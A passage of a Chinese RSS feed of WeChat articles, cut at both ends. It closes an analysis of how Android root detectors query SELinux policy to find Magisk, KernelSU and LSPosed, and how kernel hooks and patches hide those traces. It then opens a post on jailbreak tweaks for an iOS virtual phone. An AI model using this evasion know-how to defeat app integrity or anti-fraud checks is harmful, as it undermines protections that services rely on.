leaf="">init</span></code><span leaf="">重新加载policy），</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">before_security_load_policy</span></code><span leaf="">会把这次load标记为</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">g_dirty_policy_seen=true</span></code><span leaf="">，从此</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">snapshot_clean_policy</span></code><span leaf="">不再刷新副本。这虽然能避免把脏策略当成干净副本，但也意味着干净blob会一直停留在最早那次快照的版本，长期运行后可能与系统真实策略产生越来越大的偏差，进而拦截到一些本应放行的合法上下文。</span></p><p data-line="414" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">总之一句话，目前kpm的实现还有一些提升的空间，期待后续的完善。</span></p><p data-line="416" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最后，希望</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">APatch</span></code><span leaf="">快快提供代码方式来补丁，这样就不用折腾插件了。</span></p><h2 data-line="418" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">总结</span></h2><p data-line="420" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Duck</span></code><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">DirtySepolicy</span></code><span leaf="">的检测点都依赖</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">app_zygote</span></code><span leaf="">所拥有的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SELinux</span></code><span leaf="">查询能力。一边用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/sys/fs/selinux/context</span></code><span leaf="">询问上下文是否存在，另一边用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">checkSELinuxAccess</span></code><span leaf="">询问访问是否放行，两者皆从策略层一举绕开包名隐藏、进程名隐藏与文件路径伪装。</span></p><p data-line="422" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">KernelSU</span></code><span leaf="">上游的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">selinux_hide</span></code><span leaf="">，处理面已覆盖</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SEL_CONTEXT</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SEL_ACCESS</span></code><span leaf="">与</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">setprocattr current</span></code><span leaf="">，对当前</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Duck</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">DirtySepolicy</span></code><span leaf="">的检测路径而言已经具备过检测能力。Andrea的内核源码补丁则把同一思路落到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">services.c</span></code><span leaf="">之中，对定制内核而言更为直接，无需依赖运行时对</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">write_op</span></code><span leaf="">的patch。</span></p><p data-line="424" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">至于</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Magisk</span></code><span leaf="">，目前在其官方公开代码中尚未见到同级别的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">app_zygote</span></code><span leaf="">策略查询隐藏层。只要目标设备仍然把</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">magisk</span></code><span leaf="">或</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">magisk_file</span></code><span leaf="">暴露在当前策略之中，Duck的上下文检测以及</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">DirtySepolicy</span></code><span leaf="">式的访问检测，仍会轻易命中。</span></p><p data-line="426" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">若未启用任何隐藏措施，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ksu</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ksu_file</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">magisk</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">magisk_file</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">lsposed_file</span></code><span leaf="">这些类型都会被策略oracle一一读出。一旦开启KernelSU的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">selinux_hide</span></code><span leaf="">，或将源码级隐藏补丁合入内核，检测器虽然仍在调用同一份API，但返回值已经接近一份干净策略，命中率自然随之下降。</span></p><h2 data-line="428" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">参考资料</span></h2><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Duck-Detector</span></code><p><span leaf="">PR</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf=""><a class="wx_topic_link" topic-id="mp24cg3s-607ic1" style="color: #576B95 !important;" data-topic="1" data-recommend="">#22</a></span></code><span leaf="">：<a href="https://github.com/eltavine/Duck-Detector-Refactoring/pull/22" target="_blank">https://github.com/eltavine/Duck-Detector-Refactoring/pull/22</a></span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Duck-Detector</span></code><p><span leaf="">最新实现：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">app/src/main/cpp/selinux/context_validity_probe.cpp</span></code></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Duck-Detector</span></code><p><span leaf="">预加载：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">app/src/main/java/com/eltavine/duckdetector/features/selinux/data/service/AppZygotePreload.kt</span></code></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Duck-Detector</span></code><p><span leaf="">LSPosed信号：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">app/src/main/java/com/eltavine/duckdetector/features/lsposed/data/probes/LSPosedDirtyPolicyProbe.kt</span></code></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">DirtySepolicy</span></code><p><span leaf="">：<a href="https://github.com/LSPosed/DirtySepolicy" target="_blank">https://github.com/LSPosed/DirtySepolicy</a></span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">DirtySepolicy</span></code><p><span leaf="">核心实现：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">app/src/main/java/org/lsposed/dirtysepolicy/AppZygote.java</span></code></p></li><li><p><span leaf="">AOSP</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">app_zygote.te</span></code><span leaf="">：<a href="https://android.googlesource.com/platform/system/sepolicy/+/master/private/app_zygote.te" target="_blank">https://android.googlesource.com/platform/system/sepolicy/+/master/private/app_zygote.te</a></span></p></li><li><p><span leaf="">KernelSU</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">selinux_hide</span></code><span leaf="">：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kernel/feature/selinux_hide.c</span></code></p></li><li><p><span leaf="">KernelSU</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">backup_sepolicy</span></code><span leaf="">：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kernel/selinux/rules.c</span></code></p></li><li><p><span leaf="">KernelSU功能开关：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">uapi/feature.h</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">manager/app/src/main/cpp/ksu.cc</span></code></p></li><li><p><span leaf="">Andrea内核源码级补丁：<a href="https://github.com/Andrea-lyz/oppo_oplus_realme_sm8750/commit/db4883d7d243a9fc6ed8ea4071acce2e0be7b460" target="_blank">https://github.com/Andrea-lyz/oppo_oplus_realme_sm8750/commit/db4883d7d243a9fc6ed8ea4071acce2e0be7b460</a></span></p></li><li><p><span leaf="">Andrea补丁文件：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">other_patch/70_selinux_hide_policy_query.patch</span></code></p></li><li><p><span leaf="">APatch KPM样例还原：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kpms/selinux_hook/selinux_hook.c</span></code><span leaf="">（基于</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">selinux_magisk_access_filter v1.0.4</span></code><span leaf="">反编译还原）</span></p></li><li><p><span leaf="">KPM框架</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">hook_wrap</span></code><span leaf="">接口：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kpms/kpm/kernel/include/hook.h</span></code></p></li><li><p><span leaf="">Magisk</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">magiskpolicy</span></code><span leaf="">说明：<a href="https://github.com/topjohnwu/Magisk/blob/master/docs/tools.md" target="_blank">https://github.com/topjohnwu/Magisk/blob/master/docs/tools.md</a></span></p></li></ul><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=32c0c6ca&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTY5MzQxMA%3D%3D%26mid%3D2247485204%26idx%3D1%26sn%3D0cf8c32c11363b3fab82419058605ad5">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 12 May 2026 12:21:00 +0800</pubDate>
    </item>
    <item>
      <title>iOS虚拟手机可以玩窗口化融合的越狱插件</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTY5MzQxMA==&amp;mid=2247485193&amp;idx=1&amp;sn=5b53423ee611f250baca7a2181283108</link>
      <description>iOS虚拟手机可以玩窗口化融合的越狱插件</description>
      <content:encoded><![CDATA[<p>原创 <span>非虫</span> <span>2026-05-09 12:11</span> <span style="display: inline-block;">湖北</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=67c77378&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSq4BUsrXeTibCV0ibEicAkpdh1ib52ic5cbrfdHqPMjswoOU4E8eaItInoxpwsvHlEY7aTM1cv2Blv25LeEKm76knrhQTzgjQicia3WxDzialUFBeBA%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>iOS虚拟手机可以玩窗口化融合的越狱插件</p>
  <p><span leaf="">上一篇《iOS虚拟手机实现能力现状》已经把虚拟手机能跑、能装、能控、能切换环境这几件事讲清楚了。既然底座已经能稳定越狱、能保留状态、还能做自动化。所有的准备工作做好后，下一步要问的，肯定就是有什么好玩的插件？怎么给虚拟手机安装越狱插件？不要急，这一篇就讲这个。</span></p><p data-line="4" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">本篇介绍的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MilkyWayReborn</span></code><span leaf="">是iOS上一个集多窗口和窗口缩放能力于一体的越狱tweak。它支持在同一块屏幕上，可以同时打开多个App窗口，而不是只能在虚拟手机屏幕的前台、后台和分屏之间来回切换。</span></p><p data-line="6" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">顺便提一嘴，安卓设备现在也有了类似的工具，有机会我也会在后面的公众号文章中介绍，大家拭目以待吧。</span></p><h2 data-line="8" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">项目介绍</span></h2><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9398148148148148" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100001535" src="https://wechat2rss.xlab.app/img-proxy/?k=6788de95&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSq4BUsrXeTicpam90A0r7OzBKnho07kic6wgPoZXjbubdgphoYeCyR72SJdIpYroksA6TPtEUsX5OJicAuzsZ03kEyjm2Xyo9bcJ6TXcjRTCYU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-line="10" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">先看仓库本身。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="12" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf=""><a 